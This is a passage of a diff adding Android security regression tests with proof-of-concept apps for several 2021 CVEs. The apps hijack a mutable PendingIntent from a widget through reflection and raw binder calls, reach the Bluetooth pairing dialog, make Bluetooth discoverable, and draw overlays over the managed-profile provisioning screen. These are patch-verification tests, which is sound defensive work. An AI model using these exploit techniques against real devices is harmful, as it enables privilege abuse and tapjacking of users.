+            return;
+        }
+        mResponse.setAccessible(true);
+        try {
+            mFldPendingIntent =
+                    (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+        } catch (IllegalAccessException | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mPendingIntent field not found");
+            return;
+        }
+        mFldPendingIntent.setAccessible(true);
+        try {
+            mPendingIntent = (PendingIntent) mFldPendingIntent
+                    .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+        } catch (IllegalAccessException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Unable to get PendingIntent");
+            return;
+        }
+        Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+        spuriousIntent.setPackage(getApplicationContext().getPackageName());
+        spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+        } catch (PendingIntent.CanceledException e) {
+            // this is expected when vulnerability is not present and hence return
+            sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+            return;
+        }
+        sendTestResult(getResources().getInteger(R.integer.fail),
+                "Device is vulnerable to b/184046278!!"
+                        + " Mutable PendingIntent in QuickSearchBox widget");
+    }
+
+    private IBinder getService(String service) {
+        try {
+            Class clServiceManager = Class.forName("android.os.ServiceManager");
+            Method mtGetService = clServiceManager.getMethod("getService", String.class);
+            return (IBinder) mtGetService.invoke(null, service);
+        } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+                | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Failed to invoke android.os.ServiceManager service");
+            return null;
+        }
+    }
+
+    private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+        String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+        int GET_APP_WIDGET_VIEWS = 7;
+        Parcel data = Parcel.obtain();
+        Parcel reply = Parcel.obtain();
+        RemoteViews remoteViews = null;
+        IBinder service = getService("appwidget");
+        if (service != null) {
+            data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+            data.writeString(callingPackage);
+            data.writeInt(appWidgetId);
+            try {
+                service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+            } catch (RemoteException e) {
+                e.printStackTrace();
+                sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                        "service.transact() failed due to RemoteException");
+                return null;
+            }
+            reply.readException();
+            if (reply.readInt() != 0) {
+                remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+            }
+        }
+        return remoteViews;
+    }
+
+    private void sendTestResult(int statusCode, String errorMessage) {
+        RemoteCallback cb =
+                (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+        Bundle res = new Bundle();
+        res.putString(getString(R.string.message_key), errorMessage);
+        res.putInt(getString(R.string.status_key), statusCode);
+        finish();
+        cb.sendResult(res); // update callback in test
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
new file mode 100644
index 0000000..b99ba9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocVulnerableActivity extends Activity {
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.vulnerable_activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index ab1f627..6f672e0 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -33,5 +33,5 @@
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
     ],
-    sdk_version: "current",
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a..46f1613 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
 import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.UiDevice;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@
         try {
             device.wakeUp();
         } catch (Exception e) {
+            e.printStackTrace();
+            assumeNoException(e);
         }
         device.pressHome();
     }
 
+    private String getSettingsPkgName() {
+        PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        String name = "com.android.settings";
+        try {
+            ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+            ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+                    PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+            if (info != null && info.activityInfo != null) {
+                name = info.activityInfo.packageName;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            assumeNoException(e);
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+        return name;
+    }
+
+    private boolean hasFeature(String feature) {
+        return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+    }
+
+    private boolean isTV() {
+        return hasFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
     @Test
     public void testPermission() {
+        String pkg = getSettingsPkgName();
+        String cls = "";
+        if (isTV()) {
+            cls = ".accessories.BluetoothPairingDialog";
+        } else {
+            cls = ".bluetooth.BluetoothPairingDialog";
+        }
+
         try {
             Intent intent = new Intent(Intent.ACTION_MAIN);
-            intent.setClassName("com.android.settings",
-                    "com.android.settings.bluetooth.BluetoothPairingDialog");
+            intent.setClassName(pkg, pkg + cls);
             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             getApplicationContext().startActivity(intent);
-        } catch (SecurityException e) {
-            return;
+        } catch (Exception ex) {
+            ex.printStackTrace();
+            if (ex instanceof SecurityException) {
+                return;
+            }
+            assumeNoException(ex);
         }
 
         /* If SecurityException is not thrown, it indicates absence of fix */
-        throw new RuntimeException("Vulnerable to b/194300867 !!");
+        fail("Vulnerable to b/194300867 !!");
     }
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
index bcbf54f..d3e2302 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39626",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
new file mode 100644
index 0000000..f097825
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39626"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <application
+        android:testOnly="true"
+        android:label="CVE-2021-39626"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39626" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
new file mode 100644
index 0000000..cd24540
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int TIMEOUT = 5000;
+    private static Context context;
+
+    private static String getSettingsPkgName() {
+        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+        ComponentName settingsComponent =
+                settingsIntent.resolveActivity(context.getPackageManager());
+        String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+                : "com.android.settings";
+        assumeNotNull(pkgName);
+        return pkgName;
+    }
+
+    private void openApplication(String applicationName) {
+        Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+        assumeNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+    @Test
+    public void testBtDiscoverable() {
+        // Initialize UiDevice instance
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        context = InstrumentationRegistry.getInstrumentation().getContext();
+        BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+        assumeNotNull(btAdapter);
+
+        // Save the state of bluetooth adapter to reset after the test
+        boolean btState = btAdapter.isEnabled();
+        if (!btState) {
+            // If bluetooth is disabled, enable it and wait for adapter startup to complete
+            assumeTrue(btAdapter.enable());
+            try {
+                Thread.sleep(TIMEOUT);
+            } catch (Exception e) {
+                assumeNoException(e);
+            }
+        }
+        assumeTrue(btAdapter.isEnabled());
+
+        // Launch the PoC application and ensure that it launches bluetooth settings
+        openApplication(context.getPackageName());
+        assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
+
+        boolean isBtDiscoverable =
+                (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+        // Disable bluetooth if it was OFF before the test
+        if (!btState) {
+            btAdapter.disable();
+        }
+
+        // The test fails if bluetooth is made discoverable through PoC
+        assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
new file mode 100644
index 0000000..d4425ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Intent intent = new Intent();
+        intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
+        try {
+            startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
index bcbf54f..602c426 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39692",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
new file mode 100644
index 0000000..459d992
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.security.cts.CVE_2021_39692">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+            android:testOnly="false"
+            android:allowBackup="true"
+            android:label="CVE-2021-39692">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".PocActivity"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+
+        <receiver android:name=".PocDeviceAdminReceiver"
+                android:permission="android.permission.BIND_DEVICE_ADMIN"
+                android:exported="true">
+            <meta-data
+                    android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin_receiver"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.app.action.PROFILE_OWNER_CHANGED" />
+                <action android:name="android.app.action.DEVICE_OWNER_CHANGED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39692" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
new file mode 100644
index 0000000..cf041ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+    <string name="activityNotStartedException">Unable to start the %1$s</string>
+    <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+    <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
new file mode 100644
index 0000000..af74d3b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin>
+    <support-transfer-ownership/>
+    <uses-policies>
+        <limit-password/>
+        <watch-login/>
+        <reset-password/>
+        <force-lock/>
+        <wipe-data/>
+        <expire-password/>
+        <encrypted-storage/>
+        <disable-camera/>
+        <disable-keyguard-features/>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
new file mode 100644
index 0000000..e2f6196
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "overlay service"), e);
+        }
+    }
+
+    private void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        Intent intent = new Intent(context, PocActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Context context = getApplicationContext();
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        final int launchTimeoutMs = 20000;
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = false;
+        if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+                launchTimeoutMs)) {
+            overlayDisallowed = true;
+        }
+
+        Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+        intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                new ComponentName(context, PocDeviceAdminReceiver.class));
+        PackageManager pm = context.getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+        String testVulnerableActivity = ri.activityInfo.name;
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(
+                    context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+                overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
new file mode 100644
index 0000000..89a7d93
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+        intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
+        PackageManager pm = getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+        try {
+            startActivityForResult(intent, 1);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (resultCode == Activity.RESULT_OK) {
+            this.setResult(Activity.RESULT_OK);
+            this.finish();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
new file mode 100644
